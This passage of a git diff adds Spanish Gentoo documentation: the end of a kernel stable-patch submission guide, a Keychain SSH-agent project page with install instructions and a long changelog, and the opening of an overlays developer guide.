+<li>El parche debe ajustarse a las reglas del núcleo estable, mire en
+Documentation/stable_kernel_rules.txt</li>
+<li>El parche debe ser enviado a por lo menos una release gentoo-sources. La
+razón para esto es que en algún momento, los parches grabados en genpatches
+no están probados -- la comprobación completa se lleva a cabo antes de su
+publicación.</li>
+<li>El parche no debe estar ya presente en la cola stable. Compruebe la <uri
+link="http://git.kernel.org/?p=linux/kernel/git/stable/stable-queue.git;a=tree">interfaz
+web de stable-queue.git</uri>.</li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Proceso de envío</title>
+<body>
+
+<p>
+Redacte un correo de la siguiente forma:
+</p>
+
+<ul>
+<li>Dirigido a stable@kernel.org</li>
+<li>CC kernel@gentoo.org</li>
+<li>CC al autor del parche, cuyos datos de contacto se pueden encontrar en el
+propio parche</li>
+<li>Use el mismo asunto que el presente en el parche, prefíjelo con [PATCH] si
+no lo está ya.</li>
+<li>En el cuerpo del mensaje, incluya una breve descripción con una referencia
+al informe de incidencia de Gentoo, por ejemplo: "This patch fixes a bootup
+crash in the snd-intel-hda driver as detailed at
+http://bugs.gentoo.org/12345"</li>
+<li><e>Adjunte</e> el parche al mensaje, directamente desde genpatches. El
+parche debe venir de gitweb o similar y tener los detalles de autoría,
+commit ID, etc.</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>¿Qué hacer ahora?</title>
+<section>
+<body>
+
+<p>
+Eche un vistazo a algunos informes de incidencia de las búsquedas
+almacenadas configuradas anteriormente. Si puede contribuir de forma
+directa, adelante. Sin embargo, lo normal es que no esté seguro de qué hacer
+a continuación. Por lo tanto, tome una incidencia, y pregúntenos acerca de
+ella, preferiblemente en el canal #gentoo-kernel de IRC. Alternativamente,
+puede escribir a la lista de correo gentoo-kernel.
+</p>
+
+<p>
+Puede parecer que muchas de las incidencias abiertas estén en buenas manos
+esperando por el usuario o algo así. Sin embargo, por favor esté cerca, ¡ya
+que siempre tenemos un flujo contínuo de nuevas incidencias!
+</p>
+
+<p>
+Aunque este documento le ha presentado lo procesos, puede que no se sienta
+capaz de meterse en los problemas y resolver incidencias. ¡Eso está bien!
+Porque usted está en nuestra lista de seguimiento de kernel@gentoo.org,
+usted verá las incidencias según entran. Antes o después será capaz de hacer
+las mismas actividades que nosotros en otras incidencias, ¡y usted estará en
+el camino!
+</p>
+
+<p>
+¡Gracias por tu interés en ayudarnos!
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
+
diff --git a/xml/htdocs/proj/es/keychain/index.xml b/xml/htdocs/proj/es/keychain/index.xml
new file mode 100644
index 00000000..df6753e2
--- /dev/null
+++ b/xml/htdocs/proj/es/keychain/index.xml
@@ -0,0 +1,675 @@
+<?xml version='1.0' encoding="utf-8"?>
+
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/keychain/index.xml,v 1.2 2010/05/24 19:50:22 nimiux Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/es/keychain.xml" lang="es">
+<title>Keychain</title>
+
+<author title="Autor original">
+<mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Mantenedor actual">
+<mail link="agriffis@n01se.net">Aron Griffis</mail>
+</author>
+<author title="Traductor">
+  <mail link="nimiux" />
+</author>
+
+<abstract>
+Esta página contiene información acerca de Keychain, una aplicación de
+gestión de claves RSA/DSA OpenSSH y compatibles con SSH2 comercial.
+</abstract>
+
+<version>2.6.8</version>
+<date>24 Oct 2006</date>
+
+<chapter>
+<title>Introducción</title>
+<section>
+<body>
+
+<p>
+Muchos de nosotros usamos el excelente <uri
+link="http://www.openssh.com/">OpenSSH</uri> como un reemplazo seguro y
+encriptado de los venerables comandos telnet y rsh. Una de las
+características intrigantes de OpenSSH (y del SSH2 comercial) es su
+habilidad para autenticar usuarios mediante los protocolos de autenticación
+RSA y DSA que están basados en dos "claves" numéricas y
+complementarias. Además, uno de los mayores atractivos de la autenticación
+RSA y DSA es la promesa de ofrecer la capacidad de establecer conexiones con
+sistemas remotos <e>sin necesidad de ofrecer una contraseña</e>. El script
+<c>keychain</c> hace que el manejo de las claves RSA  DSA sea a la vez
+adecuado y seguro. Actúa como front-end de <c>ssh-agent</c>, permitiéndole
+mantener en ejecución durante un largo periodo de tiempo un proceso
+<c>ssh-agent</c> <e>para todo el sistema</e>, en lugar de tener uno para
+cada sesión de login. Esto reduce dramáticamente el número de veces que
+necesita introducir su clave de una, cada nueva sesión de login, a una
+<e>cada vez que su máquina es reiniciada.</e>
+</p>
+
+<p>
+<c>Keychain</c> fue presentado por primera vez en una serie de artículos de
+<uri link="http://www.ibm.com/developerworks">IBM developerWorks</uri>. El
+primer <uri
+link="http://www-106.ibm.com/developerworks/linux/library/l-keyc.html">
+artículo</uri> presenta una serie de conceptos detrás de la autenticación
+RSA/DSA y le muestra como implantar una autenticación básica (con
+contraseña). El <uri
+link="http://www-106.ibm.com/developerworks/linux/library/l-keyc2/"> segundo
+artículo</uri> le muestra como usar <c>keychain</c> para implantar un acceso
+<c>ssh</c> <e>sin contraseña</e> de una forma muy adecuada. <c>keychain</c>
+también ofrece una forma segura y limpia para que los trabajos <c>cron</c>
+tomen las ventajas de las claves RSA/DSA keys sin necesidad de usar claves
+inseguras, sin encriptar o privadas. <uri
+link="http://www-106.ibm.com/developerworks/linux/library/l-keyc3/">El
+tercer artículo</uri> le muestra como usar el mecanismo de reenvío de
+autenticación de <c>ssh-agent</c>.
+</p>
+
+<p>
+Las versiones actuales de <c>keychain</c> funcionan en Linux, BSD, <uri
+link="http://cygwin.com/">Cygwin</uri>, <uri
+link="http://h30097.www3.hp.com/">Tru64 UNIX</uri>, <uri
+link="http://www.hp.com/products1/unix/operating/">HP-UX</uri>, <uri
+link="http://www.apple.com/macosx/">Mac OS X</uri>, y <uri
+link="http://wwws.sun.com/software/solaris/index.html">Solaris</uri> usando
+la variante del Bourne shell que esté disponible en cada uno.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Captura de pantalla</title>
+<section>
+<body>
+
+<figure link="keychain-ss.png" caption="Keychain en acción" />
+<p>
+Arriba, agriffis ejecuta <c>keychain</c>, el cual ejecuta a su vez ssh-agent
+y carga id_dsa. A continuación agriffis ejecuta un comando source de las
+variables en el entorno y hace login en <c>dev.gentoo.org</c>. Normalmente
+<c>keychain</c> (y la consiguiente carga del entorno) deberían ser
+ejecutados desde los ficheros de inicialización del shell. Su invocación se
+muestra aquí.
+</p>
+
+<figure link="keychain-ss2.png" caption="Más acciones de keychain" />
+<p>
+En esta ocasión cuando agriffis ejecuta <c>keychain</c>, se encuentra un
+ssh-agent que está corriendo y éste es usado. No es necesario cargar id_dsa
+por segunda vez. Ahora agriffis hace un comando source de las variables en
+el entorno y hace login en <c>dev.gentoo.org</c>. De nuevo, <c>keychain</c>
+(y la consiguiente carga del entorno) deberían ser ejecutados desde los
+ficheros de inicialización del shell. Su invocación se muestra aquí.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Descarga e instalación</title>
+<section>
+<title>Gentoo Linux</title>
+<body>
+
+<p>
+La instalación en Gentoo es fácil, simplemente haga emerge. ¡Por supuesto!
+</p>
+
+<pre caption="Inicialización de keychain en Gentoo">
+<comment>(Instalar keychain)</comment>
+# emerge keychain -pv
+# emerge keychain
+<comment>(Leer la ayuda)</comment>
+# keychain --help
+</pre>
+
+</body>
+</section>
+<section>
+<title>Red Hat y otras distribuciones basadas en RPM</title>
+<body>
+
+<p>
+Descargue último paquete rpm desde <uri
+link="http://agriffis.n01se.net/keychain/"
+>http://agriffis.n01se.net/keychain/</uri>. Después de descargarlo, ejecute
+estos comandos (como root) para instalar la clave GPG pública usada para
+firmar el RPM, entonces puede verificar el RPM e instalarlo:
+</p>
+
+<pre caption="Instalación del RPM de keychain">
+<comment>(Obtenga la clave pública usada para firmar los rpms)</comment>
+# <i>gpg --keyserver subkeys.pgp.net --recv-key 20104eb0</i>
+<comment>(Verifique la huella dactilar del la clave obtenida)</comment>
+# <i>gpg --fingerprint 20104eb0</i>
+pub  1024D/20104EB0 2003-09-28 Aron Griffis &lt;agriffis@n01se.net&gt;
+     Key fingerprint = E3B6 8734 C2D6 B5E5 AE76  FB3A 26B1 C5E3 2010 4EB0
+sub  1024g/A2D963E7 2003-09-28
+<comment>(Importe la clave al anillo de claves de rpm)</comment>
+# <i>gpg --export --armor 20104eb0 &gt; /tmp/20104eb0.pub</i>
+# <i>rpm --import /tmp/20104eb0.pub</i>
+# <i>rm /tmp/20104eb0.pub</i>
+<comment>(Compruebe el rpm; tamto el md5 como el gpg deberían ser correctos) </comment>
+# <i>rpm -K keychain-2.6.8-1.noarch.rpm</i>
+<comment>(Instale el rpm)</comment>
+# <i>rpm -Uvh keychain-2.6.8-1.noarch.rpm</i>
+</pre>
+
+<note>
+Si su cortaguegos bloquea las conexiones GPG al servidor de claves, puede
+instalar la clave GPG manualmente ejecutando <c>wget -O -
+http://agriffis.n01se.net/gpg-pubkey-20104eb0.asc | gpg --import</c>
+</note>
+
+<p>
+Finalmente, con un usuario normal, ejecute <c>keychain --help</c> para las
+instrucciones de configuración.
+</p>
+
+</body>
+</section>
+<section>
+<title>Fuentes</title>
+<body>
+
+<p>
+Se pueden encontrar tarballs de <c>keychain</c> en <uri
+link="http://agriffis.n01se.net/keychain/"
+>http://agriffis.n01se.net/keychain/</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Registro de cambios</title>
+<section>
+<body>
+
+<pre caption="Registro de cambios de keychain">
+<!-- begin automatic ChangeLog insertion
+ end automatic ChangeLog insertion -->
+* keychain 2.6.8 (24 Oct 2006)
+
+  24 Oct 2006; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Save LC_ALL for gpg invocation so that pinentry-curses works.  This affected
+  peper and kloeri, though it seems to work for me in any case.
+
+* keychain 2.6.7 (24 Oct 2006)
+
+  24 Oct 2006; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Prevent gpg_listmissing from accidentally loading keys
+
+* keychain 2.6.6 (08 Sep 2006)
+
+  08 Sep 2006; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Make --lockwait -1 mean forever.  Previously 0 meant forever but was
+  undocumented.  Add more locking regression tests #137981
+
+* keychain 2.6.5 (08 Sep 2006)
+
+  08 Sep 2006; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Break out of loop when empty lockfile can't be removed #127471.  Add locking
+  regression tests:
+    100_lock_stale 101_lock_held 102_lock_empty 103_lock_empty_cant_remove
+
+* keychain 2.6.4 (08 Sep 2006)
+
+  08 Sep 2006; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Add validinherit function so that validity of SSH_AUTH_SOCK and friends can be
+  validated from startagent rather than up front.  The advantage is that warning
+  messages aren't emitted unnecessarily when --inherit *-once.
+  Fix --eval for fish, and add new testcases:
+    053_start_with_--eval_ksh
+    054_start_with_--eval_fish
+    055_start_with_--eval_csh
+
+* keychain 2.6.3 (07 Sep 2006)
+
+  07 Sep 2006; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Support fish: http://roo.no-ip.org/fish/
+  Thanks to Ilkka Poutanen for the patch.
+
+* keychain 2.6.2 (20 Mar 2006)
+
+  20 Mar 2006; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Add --confirm option and corresponding regression tests for Debian bug 296382.
+  Thanks to Liyang HU for the patch.  Also add initialization for $ssh_timeout
+  which was being inherited from the environment and add regression tests for
+  --timeout
+
+* keychain 2.6.1 (10 Oct 2005)
+
+  10 Oct 2005; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Change "unset evalopt" to "evalopt=false" and run through *all* the regression
+  tests instead of just the new ones.  *sigh*
+
+* keychain 2.6.0 (10 Oct 2005)
+
+  10 Oct 2005; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Add the --eval option which makes keychain startup easier.  See the man-page
+  for examples.  Get rid of the release notes from README, so now this file is
+  where changes are tracked.
+
+* keychain 2.5.5 (28 Jul 2005)
+
+  28 Jul 2005; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Add the --env option and automatic reading of .keychain/env.  This allows
+  variables such as PATH to be overridden for peculiar environments
+
+* keychain 2.5.4.1 (11 May 2005)
+
+  11 May 2005; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  A minor bug in 2.5.4 resulted in always exiting with non-zero status.  Change
+  back to the correct behavior of zero for success, non-zero for failure
+
+* keychain 2.5.4 (11 May 2005)
+
+  11 May 2005; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Fix bug 92316: If any locale variables are set, override them with LC_ALL=C.
+  This fixes a multibyte issue with awk that could keep a running ssh-agent from
+  being found.
+  Fix bug 87340: Use files instead of symlinks for locking, since symlink
+  creation is not atomic on cygwin.
+
+* keychain 2.5.3.1 (10 Mar 2005)
+
+  10 Mar 2005; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Fix problem introduced in 2.5.3 wrt adding gpg keys to the agent.  Thanks
+  to Azarah for spotting it.
+
+* keychain 2.5.3 (09 Mar 2005)
+
+  09 Mar 2005; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Improve handling of DISPLAY by unsetting if blank.  Call gpg with
+  --use-agent explicitly.
+
+* keychain 2.5.2 (06 Mar 2005)
+
+  06 Mar 2005; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Fix bug 78974 "keychain errors on Big/IP (x86 BSD variant)" by refraining
+  from using ! in conditional expressions.  Fix RSA fingerprint extraction
+  on Solaris, reported in email by Travis Fitch.  Use $HOSTNAME when
+  possible instead of calling uname -n to improve bash_profile
+  compatibility.
+
+* keychain 2.5.1 (12 Jan 2005)
+
+  12 Jan 2005; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Don't accidentally inherit a forwarded agent when
+  inheritwhich=local-once.  Move the --stop warning after the version
+  splash.
+
+* keychain 2.5.0 (07 Jan 2005)
+
+  07 Jan 2005; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Add inheritance support via --inherit.  Add parameters to --stop for
+  more control.  Change the default behavior of keychain to inherit if
+  there's no keychain agent running ("--inherit local-once"), and
+  refrain from killing other agents unless "--stop others" is
+  specified.
+
+* keychain 2.4.3 (17 Nov 2004)
+
+  17 Nov 2004; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Fix bug 69879: Update findpids to work again on BSD; it has been
+  broken since the changes in version 2.4.2.  Now we use OSTYPE (bash)
+  or uname to determine the system type and call ps appropriately.
+
+* keychain 2.4.2.1 (30 Sep 2004)
+
+  30 Sep 2004; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Fix minor issues in the test for existing gpg keys wrt DISPLAY
+
+* keychain 2.4.2 (29 Sep 2004)
+
+  29 Sep 2004; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Make gpg support more complete.  Allow adding keys, clearing the
+  agent, etc.  Fix --quick support to work properly again; it was
+  broken since 2.4.0.  Change default --attempts to 1 since the progs
+  ask multiple times anyway.
+
+* keychain 2.4.1 (22 Sep 2004)
+
+  22 Sep 2004; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Fix bugs 64174 and 64178; support Sun SSH, which is really OpenSSH
+  in disguise and a few critical outputs changed.  Thanks to Nathan
+  Bardsley for lots of help debugging on Solaris 9
+
+  15 Sep 2004; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Fix pod2man output so it formats properly on SGI systems.  Thanks to
+  Matthew Moore for reporting the problem.
+
+* keychain 2.4.0 (09 Sep 2004)
+
+  09 Sep 2004; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Fix bug 26970 with first pass at gpg-agent support
+
+  Fix Debian bug 269722; don't filter output of ssh-add
+
+  Fix bug reported by Marko Myllynen regarding keychain and Solaris
+  awk's inability to process -F'[ :]'
+
+  Fix bug in now_seconds calculation, noticed by me.
+
+* keychain 2.3.5 (28 Jul 2004)
+
+  28 Jul 2004; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Fix bug 58623 with patch from Daniel Westermann-Clark; don't put an
+  extra newline in the output of listmissing
+
+  Generate keychain.spec from keychain.spec.in automatically so that
+  the version can be set appropriately.
+
+* keychain 2.3.4 (24 Jul 2004)
+
+  24 Jul 2004; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Fix bug 28599 reported by Bruno Pelaia; ignore defunct processes in
+  ps output
+
+* keychain 2.3.3 (30 Jun 2004)
+
+  30 Jun 2004; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Fix bug reported by Matthew S. Moore in email; escape the backticks
+  in --help output
+
+  Fix bug reported by Herbie Ong in email; set pidf, cshpidf and lockf
+  variables after parsing command-line to honor --dir setting
+
+  Fix bug reported by Stephan Stahl in email; make spaces in filenames
+  work throughout keychain, even in pure Bourne shell
+
+  Fix operation on HP-UX with older OpenSSH by interpreting output of
+  ssh-add as well as the error status
+
+* keychain 2.3.2 (16 Jun 2004)
+
+  16 Jun 2004; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Fix bug 53837 (keychain needs ssh-askpass) by unsetting SSH_ASKPASS
+  when --nogui is specified
+
+* keychain 2.3.1 (03 Jun 2004)
+
+  03 Jun 2004; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Fix bug 52874: problems when the user is running csh
+
+* keychain 2.3.0 (14 May 2004)
+
+  14 May 2004; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Rewrite the locking code to avoid procmail
+
+* keychain 2.2.2 (03 May 2004)
+
+  03 May 2004; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Call loadagent prior to generating HOSTNAME-csh file so that
+  variables are set.
+
+* keychain 2.2.1 (27 Apr 2004)
+
+  27 Apr 2004; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Find running ssh-agent processes by searching for /[s]sh-agen/
+  instead of /[s]sh-agent/ for the sake of Solaris, which cuts off ps
+  -u output at 8 characters.  Thanks to Clay England for reporting the
+  problem and testing the fix.
+
+* keychain 2.2.0 (21 Apr 2004)
+
+  21 Apr 2004; Aron Griffis &lt;agriffis@gentoo.org&gt;:
+  Rewrote most of the code, organized into functions, fixed speed
+  issues involving ps, fixed compatibility issues for various UNIXes,
+  hopefully didn't introduce too many bugs.  This version has a
+  --quick option (for me) and a --timeout option (for carpaski).
+
+  Also added a Makefile and converted the man-page to pod for easier
+  editing.  See perlpod(1) for information on the format.  Note that
+  the pod is sucked into keychain and colorized when you run make.
+
+* keychain 2.0.3 (06 Apr 2003)
+
+  06 Apr 2003; Seth Chandler &lt;sethbc@gentoo.org&gt;:
+  Added keychain man page, fixed bugs with displaying colors for keychain
+  --help.  Also added a $grepopts to fix the grepping for a pid on cygwin
+  Also added a TODO document
+  color fix based on submission by Luke Holden &lt;email@alterself.org&gt;
+
+* keychain 2.0.2 (26 Aug 2002)
+
+  26 Aug 2002; the Tru64 fix didn't work; it was being caused by "trap - foo"
+  rather than "tail +2 -". Now really fixed.
+
+  26 Aug 2002; fixed "ssh-add" call to only redirect stdin (thus enabling
+  ssh-askpass) if ssh_askpass happens to be set; this is to work around a bug
+  in openssh were redirecting stdin will enable ssh-askpass even if ssh_askpass
+  isn't set, which contradicts the openssh 3.4_p1 man page. to enable
+  ssh-askpass, keychain now requires that the ssh_askpass var be set to point
+  to your askpass program.
+
+* keychain 2.0.1 (24 Aug 2002)
+
+  24 Aug 2002; "--help" fixes; the keychain files were listed as sh-${HOSTNAME}
+  rather than ${HOSTNAME}-sh. Now consistent with the actual program. Thanks to
+  Christian Plessl &lt;plessl@tik.ee.ethz.ch&gt;, others for reporting this issue.
+
+  24 Aug 2002; cycloon &lt;cycloon@linux-de.org&gt;: "If you add &lt; /dev/null when
+  adding the missingkeys via "ssh-add ${missingkeys}" (at line 454 of version
+  2.0) so that it reads: "ssh-add ${missingkeys} &lt; /dev/null" then users can
+  use program like x11-ssh-askpass in xfree to type in their passphrase. It
+  then still works for users on shell, depending if $DISPLAY is set." Added.
+
+  24 Aug 2002; A fix to calling "tail" that *should* fix things for Tru64 Unix;
+  unfortunately, I have no way to test but the solution should be portable to
+  all other flavors of systems. Thanks to Mark Scarborough
+  &lt;Mark.Scarborough@broadwing.com&gt; for reporting the issue.
+
+  24 Aug 2002; Changed around the psopts detection stuff so that "-x -u $me f"
+  is used; this is needed on MacOS X. Thanks to Brian Bergstrand
+  &lt;brian@classicalguitar.net&gt;, others for reporting this issue.
+
+* keychain 2.0 (17 Aug 2002)
+
+  17 Aug 2002; (Many submitters): A fix for keychain when running on HP-UX
+  10.20.
+
+  17 Aug 2002; Patrice DUMAS - DOCT &lt;dumas@centre-cired.fr&gt;: Now perform help
+  early on to avoid unnecessary processing. Also added --dir option to allow
+  keychain to look in an alternate location for the .keychain directory (use
+  like this: "keychain --dir /var/foo")
+
+  17 Aug 2002; Martial MICHEL &lt;martial@users.sourceforge.net&gt;: Martial also
+  suggested moving help processing to earlier in the script. He also submitted
+  a patch to place .ssh-agent-* files in a ~/.keychain/ directory, which makes
+  sense particularly for NFS users so I integrated the concept into the code.
+
+  17 Aug 2002; Fred Carter &lt;fred.carter@amberpoint.com&gt;: Cygwin fix to use
+  proper "ps" options.
+
+  17 Aug 2002; Adrian Howard &lt;adrianh@quietstars.com&gt;: patch so that lockfile
+  gets removed even if --noask is specified.
+
+  17 Aug 2002; Mario Wolff &lt;wolff@voll.prima.de&gt;: Replaced an awk dependency
+  with a shell construct for improved performance.
+
+  17 Aug 2002; Marcus Stoegbauer &lt;marcus@grmpf.org&gt;, Dmitry Frolov
+  &lt;frolov@riss-telecom.ru&gt;: I (Daniel Robbins) solved problems reported by
+  Marcus and Dmitry (mis-parsed command line issues) by following Dmitry's good
+  suggestion of performing argument parsing all at once at the top of the
+  script.
+
+  17 Aug 2002; Brian W. Curry &lt;truth@bcurry.cjb.net&gt;: Added commercial SSH2
+  client support; improved output readability by initializing myfail=0;
+  integrated Cygwin support into the main keychain script; improved Cygwin
+  support by setting "trap" appropriately. Thanks Brian!
+
+* keychain 1.9 (04 Mar 2002)
+
+  04 Mar 2002; changed license from "GPL, v2 or later" to "GPL v2".
+
+  04 Mar 2002; added "keychain.cygwin" for Cygwin systems.  It may be time to
+  follow this pattern and start building separate, optimized scripts for each
+  platform so they don't get too sluggish.  Maybe I could use a C preprocessor
+  for this.
+
+  06 Dec 2001; several people: Solaris doesn't like '-e' comparisons; switched
+  to '-f'
+
+* keychain 1.8 (29 Nov 2001)
+
+  29 Nov 2001; Philip Hallstrom (philip@adhesivemedia.com) Added a "--local"
+  option for removing the ${HOSTNAME} from the various files that keychain
+  creates.  Handy for non-NFS users.
+
+  29 Nov 2001; Aron Griffis (agriffis@gentoo.org) Using the Bourne shell "type"
+  builtin rather than using the external "which" command.  Should make things a
+  lot more robust and slightly faster.
+
+  09 Nov 2001; Mike Briseno (mike@radik.com) Solaris' "which" command outputs
+  "no lockfile in..." to stdout rather than stderr.  A one-line fix (test the
+  error condition) has been applied.
+
+  09 Nov 2001; lockfile settings tweak
+
+  09 Nov 2001; Rewrote how keychain detects failed passphrase attempts.  If you
+  stop making progress providing valid passphrases, it's three strikes and
+  you're out.
+
+  09 Nov 2001; Constantine P. Sapuntzakis (csapuntz@stanford.edu) Some private
+  keys can't be "ssh-keygen -l -f"'d; this patch causes keychain to look for
+  the corresponding public key if the private key doesn't work.  Thanks
+  Constantine!
+
+  09 Nov 2001; Victor Leitman (vleitman@yahoo.com) CYAN color misdefined;
+  fixed.
+
+  27 Oct 2001; Brian Wellington (bwelling@xbill.org) A "quiet mode" (--quiet)
+  fix; I missed an "echo".
+
+  27 Oct 2001; J.A. Neitzel (jan@belvento.org) Missed another "kill -9"; it's
+  now gone.
+
+* keychain 1.7 (21 Oct 2001)
+
+  21 Oct 2001; Frederic Gobry (frederic.gobry@smartdata.ch) Frederic suggested
+  using procmail's lockfile to serialize the execution of critical parts of
+  keychain, thus avoiding multiple ssh-agent processes being started if you
+  happen to have multiple xterms open automatically when you log in.
+  Initially, I didn't think I could add this, since systems may not have the
+  lockfile command; however, keychain will now auto-detect whether lockfile is
+  installed; if it is, keychain will automatically use it, thus preventing
+  multiple ssh-agent processes from being spawned.
+
+  21 Oct 2001; Raymond Wu (ursus@usa.net): --nocolor test is no longer inside
+  the test for whether "echo -e" works.  According to Raymond, this works
+  optimally on his Solaris box.
+
+  21 Oct 2001; J.A. Neitzel (jan@belvento.org): No longer "kill -9" our
+  ssh-agent processes. SIGTERM should be sufficient and will allow ssh-agent to
+  clean up after itself (this reverses a previously-applied patch).
+
+  21 Oct 2001; Thomas Finneid (tfinneid@online.no): Added argument "--quiet |
+  -q" to make the program less intrusive to the user; with it, only error and
+  interactive messages will appear.
+
+  21 Oct 2001; Thomas Finneid (tfinneid@online.no): Changed the format of some
+  arguments to bring them more in line with common *nix programs: added "-h" as
+  alias for "--help"; added "-k" as alias for "--stop"
+
+  21 Oct 2001; Mark Stosberg (mark@summersault.com): $pidf to "$pidf" fixes to
+  allow keychain to work with paths that include spaces (for Darwin and MacOS X
+  in particular).
+
+  21 Oct 2001; Jonathan Wakely (redi@redi.uklinux.net): Small patch to convert
+  "echo -n -e" to "echo -e "\c"" for FreeBSD compatibility.
+
+* keychain 1.6 (15 Oct 2001)
+
+  13 Oct 2001; Ralf Horstmann (ralf.horstmann@webwasher.com): Add /usr/ucb to
+  path for Solaris systems.
+
+  11 Oct 2001; Idea from Joe Reid (jreid@vnet.net): Try to add multiple keys
+  using ssh-add; avoid typing in identical passphrases more than once.  Good
+  idea!
+
+*keychain 1.5 (21 Sep 2001)
+
+  21 Sep 2001; David Hull (hull@paracel.com): misc. compatibility, signal
+  handling, cleanup fixes
+
+  21 Sep 2001; "ps" test to find the right one for your OS.
+
+  20 Sep 2001; Marko Myllynen (myllynen@lut.fi): "grep [s]sh-agent" to "grep
+  [s]sh-agent" (zsh fix)
+
+*keychain 1.4 (20 Sep 2001)
+
+  20 Sep 2001; David Hull (hull@paracel.com): "touch $foo" to "&gt;$foo"
+  optimization and other "don't fork" fixes.  Converted ${foo#--} to a case
+  statement for Solaris sh compatibility.
+
+  20 Sep 2001; Try an alternate "ps" syntax if our default one fails.  This
+  should give us Solaris and IRIX (sysV) compatibility without breaking BSD.
+
+  20 Sep 2001; Hans Peter Verne (h.p.verne@usit.uio.no); "echo -e" to "echo $E"
+  (for IRIX compatibility with --nocolor), optimization of grep ("grep
+  [s]sh-agent")
+
+  17 Sep 2001; Marko Myllynen (myllynen@lut.fi): Various fixes: trap signal 2
+  if signal INT not supported (NetBSD); handle invalid keys correctly; ancient
+  version of ash didn't support ~, so using $HOME; correct zsh instruction;
+  minor cleanups
+
+*keychain 1.3 (12 Sep 2001)
+
+  12 Sep 2001; Minor color changes; the cyan was hard to read on xterm-colored
+  terms so it was switched to bold.  Additional --help text added.
+
+  10 Sep 2001; We now use .ssh-agent-[hostname] instead of .ssh-agent.  We now
+  create a .ssh-agent-csh-[hostname] file that can be sourced by csh-compatible
+  shells.  We also now kill all our existing ssh-agent processes before
+  starting a new one.
+
+  10 Sep 2001; Robert R. Wal (rrw@hell.pl): Very nice NFS fixes, colorization
+  fixes, tcsh redirect -&gt; grep -v fix.  Thanks go out to others who sent me
+  similar patches.
+
+  10 Sep 2001; Johann Visagie (johann@egenetics.com): "source" to "."
+  shell-compatibility fixes.  Thanks for the FreeBSD port.
+
+  10 Sep 2001; Marko Myllynen (myllynen@lut.fi): rm -f $pidf after stopping
+  ssh-agent fix
+
+*keychain 1.2
+
+  09 Sep 2001; README updates to reflect new changes.
+
+  09 Sep 2001; Marko Myllynen (myllynen@lut.fi): bash 1/zsh/sh compatibility;
+  now only tries to kill *your* ssh-agent processes, version fix, .ssh-agent
+  file creation error detection.  Thanks!
+
+*keychain 1.1; fixes for calling "pidof"; README; ChangeLog
+
+  07 Sep 2001; Addition of README stating that keychain requires bash 2.0 or
+  greater, as well as quick install directions and web URL.
+
+  07 Sep 2001; Explicitly added /sbin and /usr/sbin to path, and then called
+  "pidof".  I think that this is a bit more robust.
+
+  06 Sep 2001; from John Ellson (ellson@lucent.com): "pidof" changed to
+  "/sbin/pidof", since it's probably not in $PATH
+
+  06 Sep 2001; New ChangeLog! :)
+
+*keychain 1.0; initial release (Aug 2001)
+
+</pre>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/keychain/keychain-ss.png b/xml/htdocs/proj/es/keychain/keychain-ss.png
new file mode 100644
index 00000000..5dc1d47a
--- /dev/null
+++ b/xml/htdocs/proj/es/keychain/keychain-ss.png
diff --git a/xml/htdocs/proj/es/keychain/keychain-ss2.png b/xml/htdocs/proj/es/keychain/keychain-ss2.png
new file mode 100644
index 00000000..d3ad98d0
--- /dev/null
+++ b/xml/htdocs/proj/es/keychain/keychain-ss2.png
diff --git a/xml/htdocs/proj/es/overlays/devguide.xml b/xml/htdocs/proj/es/overlays/devguide.xml
new file mode 100644
index 00000000..7f85c133
--- /dev/null
+++ b/xml/htdocs/proj/es/overlays/devguide.xml
@@ -0,0 +1,805 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/es/overlays/devguide.xml" lang="es">
+<title>Gentoo Overlays: Guía del Desarrollador</title>
+
+<author title="Author">
+  <mail link="stuart@gentoo.org">Stuart Herbert</mail>
+</author>
+<author title="Traductor">
+  <mail link="srinclan@gmail.com">Sergio D. Rodríguez Inclan</mail>
+</author>
+<author title="Traductor">
+  <mail link="nimiux" />
+</author>
+
+<abstract>
+Esta guía ayudará a los desarrolladores a entender cómo usar los servicios
